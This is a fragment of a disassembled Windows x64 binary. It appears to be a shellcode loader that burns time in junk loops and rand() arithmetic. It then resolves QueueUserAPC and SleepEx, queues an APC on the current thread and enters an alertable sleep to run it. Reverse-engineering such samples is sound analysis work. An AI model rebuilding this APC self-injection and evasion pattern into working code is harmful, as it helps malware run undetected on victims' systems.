add dword [rbp + 0x6e8], 1
cmp dword [rbp + 0x6e8], 0x3b4
jle 0x140002895
mov dword [rbp + 0x6f4], 0
jmp 0x140002965
add dword [rbp + 0x6f4], 1
add dword [rbp + 0x6fc], 1
cmp dword [rbp + 0x6fc], 0x464
jle 0x14000283b
mov rax, qword [rbp + 0x578]
mov qword [rbp + 0x568], rax
mov rax, qword [rbp + 0x6d0]
lea rdx, str.QueueUserAPC
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x560], rax
mov dword [rbp + 0x6e0], 0xffffffff
mov ecx, 0x18a0
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x558], rax
add dword [rbp + 0x6e0], 1
call sub.msvcrt.dll_rand
pxor xmm0, xmm0
cvtsi2sd xmm0, eax
mov eax, dword [rbp + 0x6e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x558]
add rax, rdx
movsd xmm1, qword [0x140006590]
divsd xmm0, xmm1
movsd qword [rax], xmm0
call sub.msvcrt.dll_rand
movsxd rdx, eax
imul rdx, rdx, 0x51eb851f
shr rdx, 0x20
sar edx, 5
mov ecx, eax
sar ecx, 0x1f
sub edx, ecx
imul ecx, edx, 0x64
sub eax, ecx
mov edx, eax
pxor xmm0, xmm0
cvtsi2sd xmm0, edx
mov eax, dword [rbp + 0x6e0]
cdqe
lea rdx, [rax*8]
mov rax, qword [rbp + 0x558]
add rax, rdx
mov rax, qword [rax]
mov edx, dword [rbp + 0x6e0]
movsxd rdx, edx
lea rcx, [rdx*8]
mov rdx, qword [rbp + 0x558]
lea rbx, [rcx + rdx]
movupd xmm1, xmm0
movq xmm0, rax
call fcn.140003cf0
movq rax, xmm0
mov qword [rbx], rax
cmp dword [rbp + 0x6e0], 0x312
jle 0x1400029c6
mov rax, qword [rbp + 0x6d0]
lea rdx, str.SleepEx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x550], rax
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentThread]
call rax
mov rdx, rax
mov rax, qword [rbp + 0x568]
mov r9, qword [rbp + 0x560]
mov r8d, 0
mov rcx, rax
call r9
mov rax, qword [rbp + 0x550]
mov edx, 1
mov ecx, 0xffffffff
call rax
mov eax, 0
movups xmm6, xmmword [rbp + 0x760]
add rsp, 0x7f8
pop rbx
pop rsi
pop rdi
pop rbp
ret